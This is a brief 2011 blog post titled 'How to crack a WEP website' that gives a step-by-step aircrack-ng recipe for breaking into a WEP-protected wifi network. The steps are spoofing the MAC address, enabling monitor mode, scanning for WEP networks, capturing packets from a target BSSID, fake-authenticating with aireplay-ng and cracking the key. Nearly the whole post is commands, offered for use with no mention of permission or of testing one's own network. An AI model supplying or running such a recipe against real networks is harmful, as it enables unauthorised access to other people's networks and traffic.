Sunday, March 27, 2011

How to crack a WEP website

#Install aircrack
sudo apt-get install aircrack-ng

Remember to use the wifi driver the aircrack websites required
For me, I have to patch the wife driver with one line code change
and recompile the driver.

sudo airmon-ng stop mon0
sudo ifconfig wlan0 down
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ifconfig wlan0 up
sudo airmon-ng start wlan0

#find the wep sites
sudo airodump-ng mon0

#start dumping to files
sudo airodump-ng -c 1 --bssid 00:14:A5:0D:96:35 -w dump mon0

#tricky part fake auth
sudo aireplay-ng -1 10 -a 00:14:A5:0D:96:35 -h 00:11:22:33:44:55 mon0

#crack the password
sudo aircrack-ng ./dump-01.cap

No comments:

Post a Comment